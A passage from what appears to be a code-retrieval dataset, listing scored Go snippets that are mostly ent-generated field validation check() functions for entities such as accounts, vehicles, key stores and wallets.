{\n\t\tif err := widget.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(`ent: validator failed for field \"status\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := wc.mutation.Priority(); !ok {\n\t\treturn &ValidationError{Name: \"priority\", err: errors.New(`ent: missing required field \"priority\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5a63be3a2971a22ec56fd2ee96bd5341", "score": "0.62444156", "text": "func (mru *MedicalRecordUpdate) check() error {\n\tif v, ok := mru.mutation.Email(); ok {\n\t\tif err := medicalrecord.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(\"ent: validator failed for field \\\"email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mru.mutation.Password(); ok {\n\t\tif err := medicalrecord.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"ent: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mru.mutation.Name(); ok {\n\t\tif err := medicalrecord.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ce3ddf249a04b5314b6d2872b91d2eca", "score": "0.6205901", "text": "func (ksc *KeyStoreCreate) check() error {\n\tif _, ok := ksc.mutation.Address(); !ok {\n\t\treturn &ValidationError{Name: \"address\", err: errors.New(`ent: missing required field \"address\"`)}\n\t}\n\tif v, ok := ksc.mutation.Address(); ok {\n\t\tif err := keystore.AddressValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"address\", err: fmt.Errorf(`ent: validator failed for field \"address\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := ksc.mutation.PrivateKey(); !ok {\n\t\treturn &ValidationError{Name: \"private_key\", err: errors.New(`ent: missing required field \"private_key\"`)}\n\t}\n\tif v, ok := ksc.mutation.PrivateKey(); ok {\n\t\tif err := keystore.PrivateKeyValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"private_key\", err: fmt.Errorf(`ent: validator failed for field \"private_key\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := ksc.mutation.CoinID(); !ok {\n\t\treturn &ValidationError{Name: \"coin\", err: errors.New(\"ent: missing required edge \\\"coin\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4111d7cbdf0a11bb5485110fe813b708", "score": "0.61950123", "text": "func (osu *OutboundShippingUpdate) check() error {\n\tif v, ok := osu.mutation.Courier(); ok {\n\t\tif err := outboundshipping.CourierValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"courier\", err: fmt.Errorf(\"ent: validator failed for field \\\"courier\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := osu.mutation.GetType(); ok {\n\t\tif err := outboundshipping.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(\"ent: validator failed for field \\\"type\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := osu.mutation.State(); ok {\n\t\tif err := outboundshipping.StateValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"state\", err: fmt.Errorf(\"ent: validator failed for field \\\"state\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e38ef9e0064111cf38f5f647e56ef2e4", "score": "0.61900795", "text": "func (ugu *UsersGroupUpdate) check() error {\n\tif v, ok := ugu.mutation.Name(); ok {\n\t\tif err := usersgroup.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ugu.mutation.Status(); ok {\n\t\tif err := usersgroup.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a5db892567d08866be7601bffb36be4c", "score": "0.61779904", "text": "func (cuo *ConnectorUpdateOne) check() error {\n\tif v, ok := cuo.mutation.GetType(); ok {\n\t\tif err := connector.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(`db: validator failed for field \"Connector.type\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := cuo.mutation.Name(); ok {\n\t\tif err := connector.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(`db: validator failed for field \"Connector.name\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9c2bf5b27fee427e32cfe6cd05231d0e", "score": "0.6176421", "text": "func (osuo *OutboundShippingUpdateOne) check() error {\n\tif v, ok := osuo.mutation.Courier(); ok {\n\t\tif err := outboundshipping.CourierValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"courier\", err: fmt.Errorf(\"ent: validator failed for field \\\"courier\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := osuo.mutation.GetType(); ok {\n\t\tif err := outboundshipping.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(\"ent: validator failed for field \\\"type\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := osuo.mutation.State(); ok {\n\t\tif err := outboundshipping.StateValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"state\", err: fmt.Errorf(\"ent: validator failed for field \\\"state\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ab90c9390bc47e5ee84f4401715e3f59", "score": "0.61747515", "text": "func (au *AccountUpdate) check() error {\n\tif v, ok := au.mutation.Provider(); ok {\n\t\tif err := account.ProviderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"provider\", err: fmt.Errorf(\"models: validator failed for field \\\"provider\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.Email(); ok {\n\t\tif err := account.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(\"models: validator failed for field \\\"email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.Password(); ok {\n\t\tif err := account.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"models: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.ConfirmationToken(); ok {\n\t\tif err := account.ConfirmationTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"confirmation_token\", err: fmt.Errorf(\"models: validator failed for field \\\"confirmation_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.RecoveryToken(); ok {\n\t\tif err := account.RecoveryTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"recovery_token\", err: fmt.Errorf(\"models: validator failed for field \\\"recovery_token\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.Otp(); ok {\n\t\tif err := account.OtpValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"otp\", err: fmt.Errorf(\"models: validator failed for field \\\"otp\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.EmailChange(); ok {\n\t\tif err := account.EmailChangeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := au.mutation.EmailChangeToken(); ok {\n\t\tif err := account.EmailChangeTokenValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email_change_token\", err: fmt.Errorf(\"models: validator failed for field \\\"email_change_token\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9b8325909fc5a6487cc06324c502e5f2", "score": "0.61742204", "text": "func (ddu *DatabaseDetectorUpdate) check() error {\n\tif v, ok := ddu.mutation.Status(); ok {\n\t\tif err := databasedetector.StatusValidator(int8(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(`ent: validator failed for field \"DatabaseDetector.status\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ddu.mutation.Name(); ok {\n\t\tif err := databasedetector.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(`ent: validator failed for field \"DatabaseDetector.name\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ddu.mutation.Timeout(); ok {\n\t\tif err := databasedetector.TimeoutValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"timeout\", err: fmt.Errorf(`ent: validator failed for field \"DatabaseDetector.timeout\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "578579b7115bdf7b1cdb19e6be1a568f", "score": "0.61699694", "text": "func (cuo *CompanyUpdateOne) check() error {\n\tif v, ok := cuo.mutation.Name(); ok {\n\t\tif err := company.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuo.mutation.Location(); ok {\n\t\tif err := company.LocationValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"location\", err: fmt.Errorf(\"ent: validator failed for field \\\"location\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuo.mutation.PostalCode(); ok {\n\t\tif err := company.PostalCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"postal_code\", err: fmt.Errorf(\"ent: validator failed for field \\\"postal_code\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuo.mutation.PhoneNumber(); ok {\n\t\tif err := company.PhoneNumberValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone_number\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone_number\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuo.mutation.CompanyID(); ok {\n\t\tif err := company.CompanyIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"company_id\", err: fmt.Errorf(\"ent: validator failed for field \\\"company_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cuo.mutation.Introduction(); ok {\n\t\tif err := company.IntroductionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"introduction\", err: fmt.Errorf(\"ent: validator failed for field \\\"introduction\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9993f90e40a75f40c8828294a0fda4d0", "score": "0.61642194", "text": "func (ftu *FieldTypeUpdate) check() error {\n\tif v, ok := ftu.mutation.ValidateOptionalInt32(); ok {\n\t\tif err := fieldtype.ValidateOptionalInt32Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"validate_optional_int32\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.validate_optional_int32\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.State(); ok {\n\t\tif err := fieldtype.StateValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"state\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.state\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.MAC(); ok {\n\t\tif err := fieldtype.MACValidator(v.String()); err != nil {\n\t\t\treturn &ValidationError{Name: \"mac\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.mac\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.Ndir(); ok {\n\t\tif err := fieldtype.NdirValidator(string(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"ndir\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.ndir\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.Link(); ok {\n\t\tif err := fieldtype.LinkValidator(v.String()); err != nil {\n\t\t\treturn &ValidationError{Name: \"link\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.link\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.RawData(); ok {\n\t\tif err := fieldtype.RawDataValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"raw_data\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.raw_data\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.IP(); ok {\n\t\tif err := fieldtype.IPValidator([]byte(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"ip\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.ip\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.Role(); ok {\n\t\tif err := fieldtype.RoleValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"role\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.role\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftu.mutation.Priority(); ok {\n\t\tif err := fieldtype.PriorityValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"priority\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.priority\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "62400b9f384f1cce59d0de6195fe4c55", "score": "0.6163233", "text": "func (tc *ToyCreate) check() error {\n\tif _, ok := tc.mutation.Color(); !ok {\n\t\treturn &ValidationError{Name: \"color\", err: errors.New(`ent: missing required field \"color\"`)}\n\t}\n\tif v, ok := tc.mutation.Color(); ok {\n\t\tif err := toy.ColorValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"color\", err: fmt.Errorf(`ent: validator failed for field \"color\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := tc.mutation.Material(); !ok {\n\t\treturn &ValidationError{Name: \"material\", err: errors.New(`ent: missing required field \"material\"`)}\n\t}\n\tif v, ok := tc.mutation.Material(); ok {\n\t\tif err := toy.MaterialValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"material\", err: fmt.Errorf(`ent: validator failed for field \"material\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := tc.mutation.Title(); !ok {\n\t\treturn &ValidationError{Name: \"title\", err: errors.New(`ent: missing required field \"title\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "19795b1cb08b64df617caccfc8d6fc27", "score": "0.6161935", "text": "func (b *Builder) validate() error {\n\tif len(b.errors) != 0 {\n\t\treturn errors.Errorf(\"failed to validate: build errors were found: %v\", b.errors)\n\t}\n\tvalidationErrs := []error{}\n\tif b.meta.object.Name == \"\" && b.meta.object.GenerateName == \"\" {\n\t\tvalidationErrs = append(validationErrs, errors.New(\"missing name\"))\n\t}\n\tif len(validationErrs) != 0 {\n\t\tb.errors = append(b.errors, validationErrs...)\n\t\treturn errors.Errorf(\"validation error(s) found: %v\", validationErrs)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "629cea7828656e3bfd0ef2486536a823", "score": "0.6150925", "text": "func (vuo *VehicleUpdateOne) check() error {\n\tif v, ok := vuo.mutation.Hours(); ok {\n\t\tif err := vehicle.HoursValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"hours\", err: fmt.Errorf(\"ent: validator failed for field \\\"hours\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := vuo.mutation.Year(); ok {\n\t\tif err := vehicle.YearValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"year\", err: fmt.Errorf(\"ent: validator failed for field \\\"year\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := vuo.mutation.Power(); ok {\n\t\tif err := vehicle.PowerValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"power\", err: fmt.Errorf(\"ent: validator failed for field \\\"power\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := vuo.mutation.LocationID(); vuo.mutation.LocationCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"location\\\"\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "493510861124c41aff0a4817b946622a", "score": "0.6149995", "text": "func (rwc *ReportWalletCreate) check() error {\n\tif _, ok := rwc.mutation.Walletid(); !ok {\n\t\treturn &ValidationError{Name: \"walletid\", err: errors.New(\"ent: missing required field \\\"walletid\\\"\")}\n\t}\n\tif v, ok := rwc.mutation.Walletid(); ok {\n\t\tif err := reportwallet.WalletidValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"walletid\", err: fmt.Errorf(\"ent: validator failed for field \\\"walletid\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.WalletTypeName(); ok {\n\t\tif err := reportwallet.WalletTypeNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"WalletTypeName\", err: fmt.Errorf(\"ent: validator failed for field \\\"WalletTypeName\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.WalletPhoneno(); ok {\n\t\tif err := reportwallet.WalletPhonenoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"WalletPhoneno\", err: fmt.Errorf(\"ent: validator failed for field \\\"WalletPhoneno\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.WalletName(); ok {\n\t\tif err := reportwallet.WalletNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"WalletName\", err: fmt.Errorf(\"ent: validator failed for field \\\"WalletName\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.CitizenId(); ok {\n\t\tif err := reportwallet.CitizenIdValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"CitizenId\", err: fmt.Errorf(\"ent: validator failed for field \\\"CitizenId\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.Status(); ok {\n\t\tif err := reportwallet.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Status\", err: fmt.Errorf(\"ent: validator failed for field \\\"Status\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.Email(); ok {\n\t\tif err := reportwallet.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Email\", err: fmt.Errorf(\"ent: validator failed for field \\\"Email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.IsForgetPin(); ok {\n\t\tif err := reportwallet.IsForgetPinValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"IsForgetPin\", err: fmt.Errorf(\"ent: validator failed for field \\\"IsForgetPin\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.ATMCard(); ok {\n\t\tif err := reportwallet.ATMCardValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"ATMCard\", err: fmt.Errorf(\"ent: validator failed for field \\\"ATMCard\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.AccountNo(); ok {\n\t\tif err := reportwallet.AccountNoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"AccountNo\", err: fmt.Errorf(\"ent: validator failed for field \\\"AccountNo\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.Street(); ok {\n\t\tif err := reportwallet.StreetValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Street\", err: fmt.Errorf(\"ent: validator failed for field \\\"Street\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.District(); ok {\n\t\tif err := reportwallet.DistrictValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"District\", err: fmt.Errorf(\"ent: validator failed for field \\\"District\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.SubDistrict(); ok {\n\t\tif err := reportwallet.SubDistrictValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SubDistrict\", err: fmt.Errorf(\"ent: validator failed for field \\\"SubDistrict\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.Province(); ok {\n\t\tif err := reportwallet.ProvinceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Province\", err: fmt.Errorf(\"ent: validator failed for field \\\"Province\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := rwc.mutation.PostalCode(); ok {\n\t\tif err := reportwallet.PostalCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"PostalCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"PostalCode\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6c0a46f05d84b70f698d2f8902f5d51f", "score": "0.6149045", "text": "func (v *Validation) Check(obj interface{}, checks ...Validator) *Result {\n\tvldts := make([]validation.Validator, 0, len(checks))\n\tfor _, v := range checks {\n\t\tvldts = append(vldts, validation.Validator(v))\n\t}\n\treturn (*Result)((*validation.Validation)(v).Check(obj, vldts...))\n}", "title": "" }, { "docid": "0ae860301658deb84b160d86b6978989", "score": "0.614459", "text": "func (uc *UserCreate) check() error {\n\tif _, ok := uc.mutation.Created(); !ok {\n\t\treturn &ValidationError{Name: \"created\", err: errors.New(`ent: missing required field \"User.created\"`)}\n\t}\n\tif _, ok := uc.mutation.Updated(); !ok {\n\t\treturn &ValidationError{Name: \"updated\", err: errors.New(`ent: missing required field \"User.updated\"`)}\n\t}\n\tif _, ok := uc.mutation.NickName(); !ok {\n\t\treturn &ValidationError{Name: \"nick_name\", err: errors.New(`ent: missing required field \"User.nick_name\"`)}\n\t}\n\tif v, ok := uc.mutation.NickName(); ok {\n\t\tif err := user.NickNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"nick_name\", err: fmt.Errorf(`ent: validator failed for field \"User.nick_name\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := uc.mutation.Sex(); !ok {\n\t\treturn &ValidationError{Name: \"sex\", err: errors.New(`ent: missing required field \"User.sex\"`)}\n\t}\n\tif v, ok := uc.mutation.Phone(); ok {\n\t\tif err := user.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone\", err: fmt.Errorf(`ent: validator failed for field \"User.phone\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := uc.mutation.Email(); ok {\n\t\tif err := user.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"email\", err: fmt.Errorf(`ent: validator failed for field \"User.email\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "186e2733af68da41cc081097ef35926e", "score": "0.61428285", "text": "func (uguo *UsersGroupUpdateOne) check() error {\n\tif v, ok := uguo.mutation.Name(); ok {\n\t\tif err := usersgroup.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uguo.mutation.Status(); ok {\n\t\tif err := usersgroup.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9784b4b8f7c98e327c1af6ffb63ee164", "score": "0.61344945", "text": "func (vcc *VehicleClassCreate) check() error {\n\tif _, ok := vcc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(`ent: missing required field \"created_at\"`)}\n\t}\n\tif _, ok := vcc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(`ent: missing required field \"updated_at\"`)}\n\t}\n\tif _, ok := vcc.mutation.Short(); !ok {\n\t\treturn &ValidationError{Name: \"short\", err: errors.New(`ent: missing required field \"short\"`)}\n\t}\n\tif v, ok := vcc.mutation.Short(); ok {\n\t\tif err := vehicleclass.ShortValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"short\", err: fmt.Errorf(`ent: validator failed for field \"short\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := vcc.mutation.Title(); !ok {\n\t\treturn &ValidationError{Name: \"title\", err: errors.New(`ent: missing required field \"title\"`)}\n\t}\n\tif v, ok := vcc.mutation.Title(); ok {\n\t\tif err := vehicleclass.TitleValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"title\", err: fmt.Errorf(`ent: validator failed for field \"title\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := vcc.mutation.Description(); ok {\n\t\tif err := vehicleclass.DescriptionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"description\", err: fmt.Errorf(`ent: validator failed for field \"description\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "222986cfe4216c6adb599e9156ad1a21", "score": "0.6122918", "text": "func (vu *VehicleUpdate) check() error {\n\tif v, ok := vu.mutation.Hours(); ok {\n\t\tif err := vehicle.HoursValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"hours\", err: fmt.Errorf(\"ent: validator failed for field \\\"hours\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := vu.mutation.Year(); ok {\n\t\tif err := vehicle.YearValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"year\", err: fmt.Errorf(\"ent: validator failed for field \\\"year\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := vu.mutation.Power(); ok {\n\t\tif err := vehicle.PowerValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"power\", err: fmt.Errorf(\"ent: validator failed for field \\\"power\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := vu.mutation.LocationID(); vu.mutation.LocationCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"location\\\"\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1a1b781c1c49544d078e2700e522d1d5", "score": "0.61136377", "text": "func (bc *BankCreate) check() error {\n\tif _, ok := bc.mutation.BankCode(); !ok {\n\t\treturn &ValidationError{Name: \"bankCode\", err: errors.New(\"ent: missing required field \\\"bankCode\\\"\")}\n\t}\n\tif _, ok := bc.mutation.BankName(); !ok {\n\t\treturn &ValidationError{Name: \"bankName\", err: errors.New(\"ent: missing required field \\\"bankName\\\"\")}\n\t}\n\tif _, ok := bc.mutation.URL(); !ok {\n\t\treturn &ValidationError{Name: \"url\", err: errors.New(\"ent: missing required field \\\"url\\\"\")}\n\t}\n\tif _, ok := bc.mutation.Swift(); !ok {\n\t\treturn &ValidationError{Name: \"swift\", err: errors.New(\"ent: missing required field \\\"swift\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f4026194c6e564497d2ec0c27f20e9fc", "score": "0.61060303", "text": "func (muo *MetricsUpdateOne) check() error {\n\tif v, ok := muo.mutation.Namespace(); ok {\n\t\tif err := metrics.NamespaceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"namespace\", err: fmt.Errorf(\"ent: validator failed for field \\\"namespace\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := muo.mutation.Workflow(); ok {\n\t\tif err := metrics.WorkflowValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"workflow\", err: fmt.Errorf(\"ent: validator failed for field \\\"workflow\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := muo.mutation.Instance(); ok {\n\t\tif err := metrics.InstanceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"instance\", err: fmt.Errorf(\"ent: validator failed for field \\\"instance\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := muo.mutation.State(); ok {\n\t\tif err := metrics.StateValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"state\", err: fmt.Errorf(\"ent: validator failed for field \\\"state\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := muo.mutation.WorkflowMs(); ok {\n\t\tif err := metrics.WorkflowMsValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"workflow_ms\", err: fmt.Errorf(\"ent: validator failed for field \\\"workflow_ms\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := muo.mutation.IsolateMs(); ok {\n\t\tif err := metrics.IsolateMsValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"isolate_ms\", err: fmt.Errorf(\"ent: validator failed for field \\\"isolate_ms\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := muo.mutation.Next(); ok {\n\t\tif err := metrics.NextValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"next\", err: fmt.Errorf(\"ent: validator failed for field \\\"next\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2198919160cc219954e8b6d02d366c23", "score": "0.6102846", "text": "func (cu *ConnectorUpdate) check() error {\n\tif v, ok := cu.mutation.GetType(); ok {\n\t\tif err := connector.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(`db: validator failed for field \"Connector.type\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := cu.mutation.Name(); ok {\n\t\tif err := connector.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(`db: validator failed for field \"Connector.name\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "14780b8e54b029345699428ab07cf358", "score": "0.6094656", "text": "func (ftuo *FieldTypeUpdateOne) check() error {\n\tif v, ok := ftuo.mutation.ValidateOptionalInt32(); ok {\n\t\tif err := fieldtype.ValidateOptionalInt32Validator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"validate_optional_int32\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.validate_optional_int32\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.State(); ok 